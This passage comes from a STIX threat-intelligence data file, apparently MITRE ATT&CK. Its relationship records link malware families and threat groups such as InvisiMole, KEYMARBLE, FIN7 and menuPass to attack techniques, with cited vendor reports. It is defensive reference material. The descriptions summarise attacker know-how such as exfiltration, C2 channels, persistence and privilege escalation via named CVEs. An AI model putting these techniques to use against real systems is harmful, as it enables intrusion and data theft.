                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-07-16T15:24:33.132Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e67e4cbe-e8f6-433b-a1d2-e869c35f6a52",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MacSpy](https://attack.mitre.org/software/S0282) can capture screenshots of the desktop over multiple monitors.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-01-17T19:50:53.349Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--78f8338a-ac4e-42cf-a887-cc35e842dc11",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) encodes commands from the control server using a range of characters and gzip.(Citation: McAfee Bankshot)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Bankshot",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc",
            "type": "relationship",
            "modified": "2020-03-20T18:06:47.440Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--bdd64378-e348-4156-8490-528392c6ea82",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CallMe](https://attack.mitre.org/software/S0077) has the capability to download a file to the victim from the C2 server.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-20T16:46:50.644Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--892ff1d1-3da9-489e-89c3-374ab07a417b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect and exfiltrate emails from Outlook.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                }
            ],
            "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "type": "relationship",
            "modified": "2020-03-17T16:19:37.569Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4082e0a3-e725-4f9f-98e2-3850c8cc8df2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses WinRAR to compress data that is intended to be exfiltrated.(Citation: ESET InvisiMole June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T02:19:19.183Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4e167937-d152-4c57-a7b7-e3b407470720",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The <code>net use \\\\system\\share /delete</code> command can be used in [Net](https://attack.mitre.org/software/S0039) to remove an established connection to a network share.(Citation: Technet Net Use)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/bb490717.aspx",
                    "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
                    "source_name": "Technet Net Use"
                }
            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c",
            "type": "relationship",
            "modified": "2019-04-24T23:39:01.577Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7566c29c-f071-40fa-a437-34d2f36eadb6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Calisto](https://attack.mitre.org/software/S0274) presents an input prompt asking for the user's login and password.(Citation: Symantec Calisto July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Calisto July 2018",
                    "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
            "type": "relationship",
            "modified": "2020-01-17T19:33:18.052Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ec9e1757-50c1-4fd8-a0be-2694b1bc9e99",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses the Confuser protector to obfuscate an embedded .Net Framework assembly used for C2. [OopsIE](https://attack.mitre.org/software/S0264) also encodes collected data in hexadecimal format before writing to files on disk and obfuscates strings.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                },
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-24T23:40:23.527Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b3831788-f18f-4315-997e-275e425c0d31",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RemoteCMD](https://attack.mitre.org/software/S0166) copies a file over to the remote system before execution.(Citation: Symantec Buckeye)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                }
            ],
            "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-28T21:40:03.711Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--8765dd7e-33cc-4040-927d-bf0aa16d3d79",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OSInfo](https://attack.mitre.org/software/S0165) performs a connection test to discover remote systems in the network(Citation: Symantec Buckeye)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                }
            ],
            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2020-03-18T20:19:35.791Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--aea0804f-e322-401f-a012-c16c25e0ac70",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Naid](https://attack.mitre.org/software/S0205) creates Registry entries that store information about a created service and point to a malicious DLL dropped to disk.(Citation: Symantec Naid June 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Naid June 2012",
                    "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4"
        },
        {
            "id": "relationship--77b9e1c5-8241-4260-8125-4bc2e1206b9c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "One [TYPEFRAME](https://attack.mitre.org/software/S0263) variant decrypts an archive using an RC4 key, then decompresses and installs the decrypted malicious DLL module. Another variant decodes the embedded file by XORing it with the value \"0x35\".(Citation: US-CERT TYPEFRAME June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-17T13:49:31.299Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f443e72c-68a6-4d46-b2aa-96b1aafd5f6b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) captured screenshots and desktop video recordings.(Citation: DOJ FIN7 Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.justice.gov/opa/press-release/file/1084361/download",
                    "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.",
                    "source_name": "DOJ FIN7 Aug 2018"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-06-30T23:13:18.537Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--17262c58-2f41-41d2-a86a-5bc86642ddb4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has compressed files before exfiltration using TAR and RAR.(Citation: PWC Cloud Hopper April 2017)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Symantec Cicada November 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"
                },
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017"
                },
                {
                    "source_name": "Symantec Cicada November 2020",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-12-17T16:16:08.878Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--69b9edd8-c1a8-4cbd-bd94-9af0fdefe013",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit that hides certain operating system artifacts.(Citation: ESET Sednit Part 3)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 3",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
                }
            ],
            "source_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "type": "relationship",
            "modified": "2020-03-16T16:48:24.370Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5d46a519-1ef9-4cdb-b737-8c7b3ffb4f0e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pteranodon](https://attack.mitre.org/software/S0147) identifies files matching certain file extension and copies them to subdirectories it created.(Citation: Palo Alto Gamaredon Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                }
            ],
            "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-06-22T17:54:16.033Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--45d8c4f2-27e4-4063-9eec-d8023c61c74b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [JPIN](https://attack.mitre.org/software/S0201) variant downloads the backdoor payload via the BITS service.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "type": "relationship",
            "modified": "2020-03-16T16:57:39.227Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1148c339-09f2-4518-9562-c6aa11d5474f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bandook](https://attack.mitre.org/software/S0234) has modules that are capable of capturing audio.(Citation: EFF Manul Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "EFF Manul Aug 2016",
                    "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.",
                    "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf"
                }
            ],
            "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2020-03-16T16:01:27.568Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--976202db-cdfa-4c4e-bc09-9b3cad90e6fb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.(Citation: ESET Sednit Part 1)(Citation: ESET Sednit July 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "source_name": "ESET Sednit Part 1"
                },
                {
                    "url": "http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/",
                    "description": "ESET Research. (2015, July 10). Sednit APT Group Meets Hacking Team. Retrieved March 1, 2017.",
                    "source_name": "ESET Sednit July 2015"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "type": "relationship",
            "modified": "2020-03-20T16:40:41.303Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3884be12-f73f-4f9b-875e-68d40798faf6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "After encrypting C2 data, [BADNEWS](https://attack.mitre.org/software/S0128) converts it into a hexadecimal representation and then encodes it into base64.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
            "type": "relationship",
            "modified": "2020-03-20T22:37:49.552Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2eaea386-ee0f-42c4-bca1-ce2d22062f98",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use raw TCP or UDP for command and control.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "source_name": "Dell TG-3390"
                }
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2019-04-19T15:08:16.037Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9b30cb8a-fc4b-44c1-ad5e-b71e430e1a8c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has used port 80 for C2.(Citation: Unit 42 MuddyWater Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 MuddyWater Nov 2017"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-04-22T22:36:53.164Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--0fee8bfd-aec2-44a7-8182-530a648006f3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Reaver](https://attack.mitre.org/software/S0172) creates a shortcut file and saves it in a Startup folder to establish persistence.(Citation: Palo Alto Reaver Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2020-03-17T02:22:51.848Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--d4f0554e-46bb-4fd5-94e8-900dfe3198cf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has a command to create Registry entries for storing data under <code>HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\WABE\\DataPath</code>.(Citation: US-CERT KEYMARBLE Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT KEYMARBLE Aug 2018",
                    "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
                }
            ],
            "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-03-20T02:14:26.721Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a13feeb0-d376-4460-8335-f86c0f163d4b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Socksbot](https://attack.mitre.org/software/S0273) can start SOCKS proxy threads.(Citation: TrendMicro Patchwork Dec 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "type": "relationship",
            "modified": "2020-03-20T15:42:34.403Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a3eca9d0-bc4b-48a8-801d-9aaa757bfe72",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) is known to use PowerShell.(Citation: FireEye APT29)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT29",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"
                }
            ],
            "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-10-11T19:07:42.401Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--90d8a8de-171a-4afc-be10-1d4407a83700",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) uses port 443 for C2.(Citation: US-CERT KEYMARBLE Aug 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT KEYMARBLE Aug 2018",
                    "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22",
            "relationship_type": "uses",
